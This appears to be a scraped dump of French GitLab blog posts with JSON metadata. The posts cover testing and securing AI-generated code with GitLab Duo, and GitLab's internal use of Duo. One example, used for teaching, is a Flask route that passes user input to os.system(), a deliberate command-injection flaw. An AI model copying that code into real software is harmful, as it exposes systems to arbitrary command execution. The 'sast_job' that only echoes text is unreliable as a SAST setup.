sécurisation et d'exploitation des logiciels. Notre nouvelle série d'articles de blog, rédigée par nos équipes produit et ingénierie, vous propose un aperçu de notre processus de création, de test et de déploiement des fonctionnalités d'IA que vous avez besoin d'intégrer dans l'ensemble de l'entreprise. Explorez les nouvelles capacités de GitLab Duo et découvrez comment elles aideront les équipes DevSecOps à livrer de meilleurs résultats aux clients.___\n\nAlors que l’intelligence artificielle continue de révolutionner le domaine du développement logiciel, il est essentiel d’effectuer des tests approfondis du code qu’elle génère pour en assurer sa sécurité. Découvrez dans cet article comment combiner [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), notre suite de fonctionnalités d'IA qui alimente le workflow DevSecOps, et [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) afin de tester rigoureusement et de sécuriser le code généré par l'IA. \n\n## Les défis du code généré par l'IA\n\nLe code généré par l'IA n'est pas toujours parfait et peut parfois être affecté par différents types de problèmes, parmi lesquels : des algorithmes incorrects ou incomplets, des problèmes de dépendance, ou encore des failles de sécurité.\n\nD'après une [étude publiée par l'Association of Computing Machinery](https://dl.acm.org/doi/pdf/10.1145/3613904.3642596), qui a analysé les réponses fournies par ChatGPT aux questions de programmation, 52 % des réponses contenaient des informations incorrectes et 77 % étaient jugées trop prolixes. Malgré ces lacunes, les utilisateurs ont préféré les réponses complètes et bien articulées de ChatGPT dans 35 % des cas, allant même jusqu'à ignorer les informations incorrectes dans 39 % des cas. Pour surmonter ces défis, il est donc essentiel de recourir à des outils et frameworks avancés.\n\n## L'approche de GitLab en matière de sécurité et de tests de l'IA\n\nGitLab a élaboré une stratégie de contenu complète axée sur l’intégration de mesures de sécurité dans le workflow de développement. En tirant parti de GitLab Duo pour la génération de code alimentée par l'IA et de GitLab Pages pour intégrer des rapports de test, les développeurs peuvent ainsi s'assurer que leur code généré par l'IA est à la fois sécurisé et fiable.\n\nVoici un guide détaillé pour intégrer GitLab Duo et GitLab Pages avec un [serveur Web Flask](https://flask.palletsprojects.com/en/3.0.x/).\n\n### 1. Créez un nouveau projet sur GitLab.com\n\n- Accédez à [GitLab.com](http://GitLab.com).\n- Cliquez sur le bouton « Nouveau projet ».\n- Sélectionnez « Créer un projet vide ».\n- Attribuez un nom au projet (par exemple, AI_Code_Security).\n- Définissez le niveau de visibilité (Privé, Interne ou Public).\n- Cliquez sur « Créer le projet ».\n\n### 2. Activez les suggestions de code de GitLab Duo\n\n- Accédez à votre projet.\n- Cliquez sur le bouton « Web IDE » pour ouvrir le Web IDE.\n- Assurez-vous que les fonctionnalités de GitLab Duo, telles que les suggestions de code et GitLab Duo Chat, sont activées.\n- Commencez à coder dans le [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/). GitLab Duo vous propose des suggestions de code en temps réel pour améliorer votre programmation.\n\n### 3. Créez un serveur Web Flask\n\nVous pouvez créer un serveur Web Flask en utilisant le commentaire (surligné en vert) dans la capture d'écran ci-dessous.\n\n![Test DGD - image 1](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097192520.png)\n\n### 4. Générez des tests avec GitLab Duo\n\nLes tests unitaires sont essentiels pour valider la fonctionnalité du code généré. Utilisez la commande `/tests` de GitLab Duo pour [générer des suggestions de tests directement dans le Web IDE](https://docs.gitlab.com/ee/user/gitlab_duo_chat_examples.html#write-tests-in-the-ide). Cette commande peut être adaptée pour inclure des instructions supplémentaires afin de se concentrer sur certains aspects tels que la performance, la régression ou l'utilisation de frameworks spécifiques.\n\n##### Exemple d'utilisation dans le Web IDE :\n\n- Sélectionnez le code pour lequel vous souhaitez générer des tests.\n- Utilisez la commande `/tests` suivie d'instructions supplémentaires si nécessaire.\n\n![Test DGD - image 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097192521.png)\n\n### 5. Identifiez les problèmes liés au code généré par l'IA à l'aide de GitLab Duo Chat\n\nEffectuez une revue de code avec GitLab Duo Chat et affinez le code généré par l'IA. Par exemple, vous pouvez rechercher des vulnérabilités de sécurité dans le code du serveur Web Flask :\n\n```unset\nPrompt : Examinez ce code pour détecter d'éventuelles vulnérabilités en matière de sécurité et des problèmes de dépendance.\n```\n\n![Test DGD - image 3](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097192523.png)\n\nGitLab Duo Chat peut permettre d'identifier les vulnérabilités dans le code ci-dessus.\n\n### 6. Générez des rapports de test\nAprès avoir effectué vos tests, générez un rapport de test qui sera déployé à l'aide de GitLab Pages.\n\n```unset\nPrompt : Écrivez-moi un script Python pour générer un rapport de test qui sera déployé à l'aide de GitLab Pages.\n```\n\n![Test DGD - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097192/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097192525.png)\n\nVoici l'exécution du prompt :\n\n- Le script s'assure de l'existence du répertoire test_reports.\n- Il exécute le fichier `test_server.py` à l'aide de `subprocess.run()`, en capturant la sortie.\n- La sortie brute est enregistrée dans `test_reports/test_output.txt`.\n- Un rapport HTML est généré. Il est enregistré sous `test_reports/index.html` et intègre la sortie du test dans des balises `\u003Cpre>` pour en assurer la lisibilité.\n\n### 7. Déployez le rapport de test avec GitLab Pages\n\nUtilisez [GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) pour héberger et afficher le rapport de test. Voici la configuration de notre fichier `.gitlab-ci.yml` pour déployer le rapport de test.\n\n```python\n\nstages:\n  - test\n  - deploy\ntest_job:\n  stage: test\n  script:\n    - python generate_test_report.py\n  artifacts:\n    paths:\n      - test_reports/\npages:\n  stage: deploy\n  script:\n    - mv test_reports public\n  artifacts:\n    paths:\n      - public\n\n ```\n\nAvec cette configuration, l'étape `test_job` exécute le script Python pour générer le rapport de test. L'étape `pages` déplace le répertoire `test_reports` vers `public` que GitLab Pages utilise pour diffuser le contenu.\n\n### 8. Intégrez les rapports de test dans les widgets MR\n\nL'intégration des [rapports de test dans les widgets MR](https://docs.gitlab.com/ee/ci/testing/unit_test_reports.html) permet de visualiser immédiatement les résultats des tests. Vous pouvez ainsi inclure le rapport de test en tant qu'artefact dans la configuration de votre [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ? \") :\n\n```python\n\nstages:\n  - build\n  - test\n  - deploy\n\nbuild_job:\n  stage: build\n  script:\n    - echo \"Building the project...\"\n    - # Your build commands here\n\ntest_job:\n  stage: test\n  script:\n    - mkdir -p test-reports\n    - python test_server.py > test-reports/results.xml\n  artifacts:\n    when: always\n    reports:\n      junit: test-reports/results.xml\n    paths:\n      - test-reports/results.xml\n\npages:\n  stage: deploy\n  script:\n    - mkdir .public\n    - mv test-reports .public/\n  artifacts:\n    paths:\n      - .public\n\n```\nEn incluant le rapport de test en tant qu'artefact et en l'indiquant dans la section des rapports, GitLab affiche automatiquement les résultats des tests dans les widgets MR. Vous disposez alors d'une visibilité immédiate sur les résultats des tests, renforçant ainsi la transparence et la fiabilité du processus de développement.\n\n### Étude de cas \n\nImaginez qu'un extrait de code généré par l'IA introduise une dépendance présentant des vulnérabilités connues. Avec ses stratégies de sécurité, GitLab Duo signalerait cette dépendance lors du processus de génération de code. Dans l'exemple ci-dessous, l'extrait de code a été généré par l'IA :\n\n```python\n\nimport os\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/search')\ndef search():\n    query = request.args.get('query')\n    execute_os_command(query)\n    return 'You searched for: ' + query\n\ndef execute_os_command(command):\n    os.system(command)\n\nif __name__ == '__main__':\n    app.run()\n\n```\n\nDans cet exemple, le point de terminaison de recherche est exposé à une vulnérabilité d'injection de commandes dans le système d'exploitation. Grâce au test statique de sécurité des applications ([SAST](https://docs.gitlab.com/ee/user/application_security/sast/)) de GitLab, cette vulnérabilité serait détectée lors de l'exécution du pipeline CI/CD.\n\n##### Intégrez le scan SAST pour détecter les vulnérabilités\n\nLe SAST de GitLab analyse automatiquement votre code à la recherche de failles de sécurité. Voici comment l'intégrer dans votre fichier `.gitlab-ci.yml` pour détecter des problèmes :\n\n```python\n\nstages:\n  - build\n  - test\n  - sast\n  - deploy\n\nbuild_job:\n  stage: build\n  script:\n    - echo \"Building the project...\"\n    - # Your build commands here\n\ntest_job:\n  stage: test\n  script:\n    - python test_server.py > test-reports/results.xml\n  artifacts:\n    when: always\n    reports:\n      junit: test-reports/results.xml\n    paths:\n      - test-reports/results.xml\n\nsast_job:\n  stage: sast\n  script:\n    - echo \"Running SAST...\"\n  artifacts:\n    reports:\n      sast: gl-sast-report.json\n  only:\n    - branches\n\npages:\n  stage: deploy\n  script:\n    - mv test-reports public\n  artifacts:\n    paths:\n      - public\n\n```\n\nDans cette configuration, l'étape `sast_job` exécute le SAST pour détecter les vulnérabilités dans le code. Un rapport est généré (`gl-sast-report.json`), qui sera inclus dans les artefacts du pipeline. En intégrant des stratégies de sécurité et des frameworks de test robustes, GitLab Duo aide ses clients à s'assurer que leur code généré par l'IA est à la fois efficace et sécurisé.\n\n## Commencez dès maintenant\nL'utilisation de l'IA dans le développement logiciel est très prometteuse, mais présente également de nouveaux défis à relever. En exploitant les fonctionnalités avancées d'outils tels que GitLab Duo et GitLab Pages, les développeurs peuvent désormais réaliser des tests approfondis du code produit par l'IA pour garantir sa sécurité et sa fiabilité. \n\n> [Testez GitLab Ultimate gratuitement](https://gitlab.com/-/trials/new?glm_content=+default-saas-trial&glm_source=about.gitlab.com%2Fblog) et accédez aux fonctionnalités avancées de GitLab Duo et GitLab Pages.\n\n## En savoir plus sur la série d’articles dédiée au « Développement de GitLab Duo »\n\n- [Comment nous validons et testons les modèles d'IA à grande échelle](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/)\n- [Mesurer le ROI de l’IA avec le tableau de bord d'analyse d'impact](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n- [Comment nous utilisons nos propres fonctionnalités d’IA](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features/)\n",[699,784,1069,673],{"slug":2821,"featured":6,"template":683},"how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code","content:fr-fr:blog:how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code.yml","How Gitlab Duo Helps Secure And Thoroughly Test Ai Generated Code","fr-fr/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code.yml","fr-fr/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code",{"_path":2827,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2828,"content":2834,"config":2841,"_id":2843,"_type":16,"title":2844,"_source":17,"_file":2845,"_stem":2846,"_extension":20},"/fr-fr/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features",{"ogTitle":2829,"schema":2830,"ogImage":2831,"ogDescription":2832,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":2833,"title":2829,"canonicalUrls":2833,"description":2832},"GitLab Duo : nos fonctionnalités d’IA adoptées en interne","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Développement de GitLab Duo : comment nous utilisons nos propres fonctionnalités d’IA \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David O'Regan\"}],\n        \"datePublished\": \"2024-05-20\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098360/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750098360821.png","Découvrez des exemples concrets de la façon dont nous intégrons l'IA dans notre SDLC et comment nous utilisons des métriques pour évaluer leur réussite.","https://about.gitlab.com/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features",{"title":2835,"description":2836,"authors":2837,"heroImage":2831,"date":2838,"body":2839,"category":697,"tags":2840},"GitLab Duo : comment nous utilisons nos propres fonctionnalités d’IA","Dans le cadre de notre série d’articles de blog, nous partageons des exemples concrets de la façon dont nous intégrons l'IA dans notre cycle de développement logiciel et comment nous utilisons des métriques pour évaluer leur réussite.",[2677],"2024-05-20","***L'IA générative marque une avancée majeure dans le domaine du\ndéveloppement logiciel, simplifiant le processus de développement, de\nsécurisation et d'exploitation des logiciels. Notre nouvelle série\nd'articles de blog, rédigée par nos équipes produit et ingénierie, vous\npropose un aperçu de notre processus de création, de test et de déploiement\ndes fonctionnalités d'IA que vous avez besoin d'intégrer dans l'ensemble de\nl'entreprise. Explorez les nouvelles capacités de GitLab Duo et découvrez\ncomment elles aideront les équipes DevSecOps à livrer de meilleurs résultats\naux clients.***\n\n\n[GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), notre suite de fonctionnalités alimentées par l'IA, a transformé nos workflows d'ingénierie internes, générant des gains d'efficacité tout au long de notre processus de développement. En tant que fervents partisans du dogfooding et de la transparence, nous voulions montrer comment nos équipes tirent parti de l'IA au quotidien, y compris des fonctionnalités phares comme les suggestions de code de GitLab Duo et [GitLab Duo Chat](https://docs.gitlab.com/ee/user/gitlab_duo_chat/index.html \"Fonctionnalité GitLab Duo Chat\"), pour rationaliser les processus de développement, réduire les efforts manuels et améliorer la productivité. Découvrez dans cet article les bénéfices de GitLab Duo pour nos équipes.\n\n\n## Comment nos équipes utilisent GitLab Duo ?\n\n\nNos équipes ont intégré de nombreuses [fonctionnalités de GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/#features \"Fonctionnalités de GitLab Duo\"). Découvrez comment GitLab Duo les aide à mener à bien leurs projets.\n\n\n### Résumé et documentation\n\n\n* **Rationaliser le processus de revue de code :** [Gosia Ksionek](https://about.gitlab.com/company/team/#mksionek), Staff Backend Engineer, présente les avantages pratiques de l'IA dans son workflow en utilisant GitLab Duo pour rationaliser le processus de revue de code. Elle utilise efficacement GitLab Duo pour résumer les [merge requests](https://www.youtube.com/watch?v=3SIhe8dgFEc&feature=youtu.be), ce qui facilite et accélère l'examen des modifications apportées au code. En plus de résumer les merge requests, Gosia utilise également GitLab Duo pour [répondre aux questions relatives au code](https://www.youtube.com/watch?v=6n0I53XsjTc) et [expliquer les extraits de code complexes](https://www.youtube.com/watch?v=3m2YRxa1SCY). Cela améliore sa productivité et l'aide à mieux comprendre et gérer des codebases complexes. À travers ces démonstrations, Gosia souligne comment GitLab Duo peut considérablement améliorer l'efficacité et la clarté du processus de développement, ce qui en fait un outil inestimable pour les développeurs.\n\n\n\u003Ccenter>\n\n\nDans cette vidéo, Gosia utilise le résumé de merge requests de GitLab Duo :\n\n\n\u003C!-- ligne vide -->\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/3SIhe8dgFEc?si=Q8JG3Ix3K_THhbpv\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\u003C!-- ligne vide -->\n\n\nDans cette vidéo, Gosia utilise GitLab Duo pour répondre aux questions relatives au code : \n\n\n\u003C!-- ligne vide -->\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/6n0I53XsjTc?si=LA9VBHrgXpfJImSL\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\u003C!-- ligne vide -->\n\n\nDans cette vidéo, Gosia utilise GitLab Duo pour expliquer des extraits de code complexes :\n\n\n\u003C!-- ligne vide -->\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/3m2YRxa1SCY?si=oms3szKwZoz-4yeq\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\u003C!-- ligne vide -->\n\n\n\u003C/center>\n\n\n* **Condenser les fils de commentaires :** [Bartek Marnane](https://about.gitlab.com/company/team/#bmarnane), Vice President of Expansion Software Development, utilise GitLab Duo pour condenser de longs fils de discussion en résumés concis, en veillant à ce que tous les détails pertinents soient capturés lors de la mise à jour des descriptions des tickets.\n\n* **Créer une nouvelle documentation :** [Taylor McCaslin](https://about.gitlab.com/company/team/#tmccaslin), Group Manager, Product - Data Science Section, a tiré parti de GitLab Duo afin de [créer une nouvelle documentation pour GitLab Duo](https://docs.gitlab.com/ee/user/gitlab_duo/index.html \"Documentation de GitLab Duo\"). Ce qui lui a permis d'améliorer la clarté et la cohérence du contenu, tout en réduisant considérablement le temps requis pour documenter de nouvelles fonctionnalités.\n\n* **Rédiger des notes de version :** [Amanda Rueda](https://about.gitlab.com/company/team/#amandarueda), Senior Product Manager, utilise GitLab Duo pour [rédiger des résumés brefs et percutants pour les notes de version](https://gitlab.com/groups/gitlab-org/-/epics/10267), mettant en évidence les modifications et leur valeur pour les utilisateurs. En utilisant des prompts bien conçus comme ci-dessous, Amanda dynamise son workflow et s'assure que chaque note de version est claire, concise et centrée sur l'utilisateur, améliorant ainsi la communication globale et l'expérience utilisateur :\n  \u003Cbr>\u003Cbr>*« Veuillez créer un résumé en deux phrases de ce changement, qui peut être utilisé pour nos notes de version. Le ton doit être décontracté et le tutoiement doit être utilisé. Le résumé doit inclure une description du problème ou du changement apporté et être lié à la valeur que nous créons pour vous, l'utilisateur. »*\n  \u003Cbr>\u003Cbr>\n      - Voici quelques exemples de notes de version co-créées avec GitLab Duo :\n        - [Options étendues pour trier votre roadmap](https://gitlab.com/gitlab-org/gitlab/-/issues/460492)\n        - [Clarté du tableau de bord des tickets avec jalons et itérations](https://gitlab.com/gitlab-org/gitlab/-/issues/25758)\n        - [Fonctionnalités de gestion de la conception étendues aux équipes produit](https://gitlab.com/gitlab-org/gitlab/-/issues/438829)\n* **Optimiser la navigation sur le site de documentation :** [Suzanne Selhorn](https://about.gitlab.com/company/team/#sselhorn), Staff Technical Writer, a tiré parti de GitLab Duo pour [optimiser la navigation à gauche de la documentation](https://docs.gitlab.com/ee/user/get_started/get_started_projects.html) en fournissant un ordre de pages basé sur le workflow. Suzanne a fourni une liste de fonctionnalités à GitLab Duo, qui a généré l'ordre optimal, mettant à jour la navigation de gauche en conséquence. GitLab Duo a également rédigé la documentation [de démarrage](https://docs.gitlab.com/ee/user/get_started/get_started_planning_work.html) beaucoup plus rapidement que si Suzanne l’avait fait manuellement.\n\n\n### Définition des objectifs et alignement de l'équipe\n\n\n* **Rédiger et affiner des OKR :** [François Rosé](https://about.gitlab.com/company/team/#francoisrose), Engineering Manager, trouve l'aide de [GitLab Duo Chat](https://about.gitlab.com/blog/gitlab-duo-chat-now-generally-available/) inestimable pour rédiger et affiner des [OKR](https://about.gitlab.com/fr-fr/blog/what-is-an-okr-definition/ \"Qu'est-ce qu'un ORK ?\"). En formulant des objectifs clairs et efficaces, François améliore la définition des objectifs et l'alignement de son équipe. En utilisant le chat, François s'assure que chaque OKR est précis, actionnable et aligné avec les objectifs, ce qui améliore la performance et la cohésion globales de l'équipe. Voici un exemple de prompt qu'il utilise :\u003Cbr>\u003Cbr>\n\n     *« Voici un OKR que je pense créer :*\n\n  ```\n  *Objectif : Revenir sur les rétrospectives, pour favoriser une équipe prospère*\n\n  *Résultat clé : Mesurer la satisfaction des rétrospectives de 100 % des membres de l'équipe*\n\n  *Résultat clé : Identifier 3 améliorations pour les rétrospectives asynchrones*\n\n  *Résultat clé : Mettre en œuvre 1 amélioration*\n\n  *Veuillez fournir des commentaires directs sur la manière d'améliorer la formulation de cet objectif et de ces résultats clés. »*\n  ```\n\n  \u003Cbr>\u003Cbr>\n* **Rationaliser les processus de recrutement :** GitLab Duo Chat a aidé [Denys Mishunov](https://about.gitlab.com/company/team/#dmishunov), Staff Frontend Engineer, à mettre à jour le modèle d'e-mail pour les candidats aux entretiens techniques en formulant un texte clair et concis. De cette manière, l'équipe collabore pour affiner la communication afin de s'assurer que les candidats reçoivent toutes les informations nécessaires.\n\n\n### Réponse et configuration des incidents\n\n\n* **Résumer les incidents en production :** [Steve Xuereb](https://about.gitlab.com/company/team/#sxuereb), Staff Site Reliability Engineer, utilise GitLab Duo pour résumer les incidents en production et créer des revues d'incidents détaillées, rationalisant ainsi le processus de documentation.\n\n* **Créer des fichiers « .gitlab-ci.yml » :**  Steve utilise également la fonctionnalité Chat pour créer des fichiers de type « .gitlab-ci.yml », ce qui a considérablement accéléré son workflow. De plus, l'[explication de code](https://docs.gitlab.com/ee/user/ai_features.html#code-explication) fournit des réponses détaillées qui sont utiles lors d'incidents, améliorant sa productivité et sa compréhension du codebase.\n\n\n### Génération de code et tests\n\n\n* **Développement full stack :** [Peter Hegman](https://about.gitlab.com/company/team/#peterhegman), Senior Frontend Engineer, utilise les [suggestions de code pour son développement JavaScript et Ruby](https://gitlab.com/gitlab-org/gitlab/-/issues/435783#note_1731321963). Les suggestions de code sont devenues un outil puissant pour les développeurs évoluant au sein d'une pile technique complète.\n\n* **Générer des scripts Python :** Denys a mené [une expérience en utilisant GitLab Duo pour une tâche non liée à GitLab](https://gitlab.com/gitlab-org/ai-powered/ai-framework/ai-experimentation). Cet exemple met en évidence la flexibilité et l'utilité de nos outils d'IA au-delà des tâches de développement de logiciels typiques.\n\n\n\u003Ccenter>\n\n\nRegardez comment Denys utilise GitLab Duo pour générer des scripts Python afin de récupérer des données de contenu et les stocker localement :\n\n\n\u003C!-- ligne vide -->\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/30ZTtk4K5yU?si=p5ZcFLg6dTZL5gFE\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\u003C!-- ligne vide -->\n\n\n\u003C/center>\n\n\n### Recherche et assistance\n\n\n* **Générer le code source de test :**  [Michael Friedrich](https://about.gitlab.com/company/team/#dnsmichi), Senior Developer Advocate, utilise GitLab Duo pour générer le code source de test pour les composants [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce que l'approche CI/CD ?\"). Cette approche a été partagée dans diverses conférences et présentations, notamment lors de l’événement Open Source @ Siemens ([consultez la présentation](https://go.gitlab.com/duA2Fc)). De cette manière, l'utilisation de GitLab Duo permet de s'assurer que le code est cohérent, bien documenté et aligné avec nos bonnes pratiques. Découvrez [l’exemple de Rust](https://gitlab.com/components/rust#contributing).\n\n\n![Exemple Rust](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098367/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098367547.png)\n\n\n* **Rationaliser les tâches de recherche :** Les membres de notre équipe se tournent régulièrement vers le chat lorsqu'ils ont des questions sur les fonctionnalités de GitLab. « Lorsque j'ai une question sur les fonctionnalités de GitLab, j'utilise systématiquement le chat plutôt que d'ouvrir 100 onglets de navigateur. Ce workflow m'aide à apporter une aide efficace aux utilisateurs du forum de notre communauté. Par exemple, j'ai récemment [aidé un utilisateur dans le cadre d'un déploiement SSH](https://forum.gitlab.com/t/how-to-make-ssh-deployment-more-clear-in-gitlab/102051/4?u=dnsmichi) en utilisant cette méthode. », indique Michael. L'utilisation du chat permet non seulement de gagner du temps, mais aussi de fournir des informations rapides et précises, améliorant ainsi l'assistance que nous offrons à notre communauté.\n\n\n### Test de fonctionnalités\n\n\n* **Tester les nouvelles fonctionnalités :** Nos ingénieurs utilisent GitLab Duo pour tester de nouvelles fonctionnalités telles que [la prise en charge de Markdown dans les suggestions de code](https://gitlab.com/gitlab-org/gitlab/-/issues/443365). « Je dois tester la prise en charge de Markdown dans les suggestions de code pour rédiger des articles de blog et la documentation de GitLab dans VS Code. J'ai vu que cela avait été fusionné pour la version 17.0 », indique l'un des membres de notre équipe. En testant ces fonctionnalités en interne, nous nous assurons qu'elles répondent à nos normes de qualité avant leur sortie.\n\n\n### Comprendre les codebases externes\n\n\n* **Expliquer les projets externes :** La fonctionnalité « /explain » de GitLab Duo est particulièrement utile pour comprendre les projets externes importés dans GitLab. Cette capacité a été mise en avant dans un récent livestream animé par Michael Friedrich et Eddie Jaoude, expert en open source. Dans cette vidéo, Michael nous fait savoir qu’il utilise la fonctionnalité « /explain » sur des projets externes pour comprendre le code source et qu’il a présenté cette idée pour en apprendre davantage sur les projets open source, les dépendances, etc. Cette fonctionnalité est inestimable pour les développeurs qui doivent rapidement comprendre les fonctionnalités et les dépendances de codebases inconnues, ce qui améliore considérablement leur efficacité et leur compréhension.\n\n\n\u003Ccenter>\n\nRegardez la vidéo de Michael sur la fonctionnalité « /explain » lors du livestream avec Eddie Jaoude :\n\n\u003C!-- ligne vide -->\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/L2Mx8hOhkEE?si=R7W3v4EDqeJCaPOw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\n\u003C!-- ligne vide -->\n\n\n\u003C/center>\n\n\n## Quels sont les avantages de GitLab Duo ?\n\n\nL'intégration de GitLab Duo a eu de nombreux impacts positifs, ce qui a considérablement amélioré nos workflows d'ingénierie et de développement de produits :\n\n\n* De nombreuses tâches qui nécessitaient auparavant une intervention manuelle sont désormais automatisées, ce qui libère un temps précieux pour nos ingénieurs. Par exemple, la synthèse de longs fils de discussion et la création de code standard sont désormais plus efficaces, ce qui permet à notre équipe de se concentrer sur des problèmes plus complexes.\n\n* Le temps nécessaire pour documenter et résumer les tickets a diminué, ce qui permet une diffusion de l'information et une prise de décision plus rapides.\n\n* Avec les suggestions de code et les explications assistées par l'IA, nos équipes produisent un code de meilleure qualité avec moins d'erreurs et des processus de débogage plus rapides. L'intégration de GitLab Duo dans les revues d'incidents et l'assistance au codage a rendu les revues de code plus efficaces et plus efficientes.\n\n* Les tâches administratives, telles que la rédaction d'OKR et la création de notes de version, ont été rationalisées.\n\n\nGitLab Duo a contribué non seulement à améliorer notre efficacité, mais également à améliorer la qualité et la rapidité de nos processus de développement, illustrant ainsi le pouvoir de transformation de l'IA dans le développement de logiciels.\n\n\n## Et après ?\n\n\nNous nous engageons à intégrer davantage l'IA dans nos workflows et à améliorer continuellement les fonctionnalités de GitLab Duo en fonction des retours internes et de l'évolution des besoins. La collecte de données avec le tableau de bord d'analyse d'impact de l'IA guidera les améliorations et fera en sorte que GitLab Duo reste à la pointe des outils de développement pilotés par l'IA.\n\n\n![Dogfooding appliqué à GitLab Duo - tableau de bord d'analyse de l'IA](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098367/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098367547.png)\n\n\n> [Essayez GitLab Duo gratuitement dès aujourd'hui !](https://about.gitlab.com/fr-fr/gitlab-duo/#free-trial)\n\n\n## En savoir plus sur le « Développement de GitLab Duo »\n\n\n* [Comment nous validons et testons les modèles d'IA à grande échelle](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/)\n\n* [Mesurer le ROI de l’IA avec le tableau de bord d'analyse d'impact](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai/)\n\n* [Tester et sécuriser le code généré par l'IA](https://about.gitlab.com/fr-fr/blog/how-gitlab-duo-helps-secure-and-thoroughly-test-ai-generated-code/ \"Tester et sécuriser le code généré par l'IA\")\n\n* [L'IA combinée à l'analyse des causes profondes pour réparer les pipelines CI/CD](https://about.gitlab.com/fr-fr/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd/ \"L'IA combinée à l'analyse des causes profondes pour réparer les pipelines CI/CD\")\n",[699,1068,675,1067,853],{"slug":2842,"featured":92,"template":683},"developing-gitlab-duo-how-we-are-dogfooding-our-ai-features","content:fr-fr:blog:developing-gitlab-duo-how-we-are-dogfooding-our-ai-features.yml","Developing Gitlab Duo How We Are Dogfooding Our Ai Features","fr-fr/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features.yml","fr-fr/blog/developing-gitlab-duo-how-we-are-dogfooding-our-ai-features",{"_path":2848,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2849,"content":2855,"config":2863,"_id":2865,"_type":16,"title":2866,"_source":17,"_file":2867,"_stem":2868,"_extension":20},"/fr-fr/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai",{"ogTitle":2850,"schema":2851,"ogImage":2852,"ogDescription":2853,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":2854,"title":2850,"canonicalUrls":2854,"description":2853},"GitLab Duo : ROI et tableau d'analyse d'impact de l’IA","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Développement de GitLab Duo : mesurer le ROI de l’IA avec le tableau de bord d'analyse d'impact\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Haim Snir\"}],\n        \"datePublished\": \"2024-05-15\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098611/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750098611370.png","Découvrez cette nouvelle fonctionnalité qui fournit des métriques détaillées, permettant de comprendre l'efficacité des investissements en IA.","https://about.gitlab.com/blog/developing-gitlab-duo-ai-impact-analytics-dashboard-measures-the-roi-of-ai",{"title":2856,"description":2857,"authors":2858,"heroImage":2852,"date":2860,"body":2861,"category":697,"tags":2862},"GitLab Duo : mesurer le ROI de l’IA avec le tableau de bord d'analyse d'impact","Notre série d’articles de blog se poursuit avec la présentation d'une nouvelle fonctionnalité qui fournit des métriques détaillées, 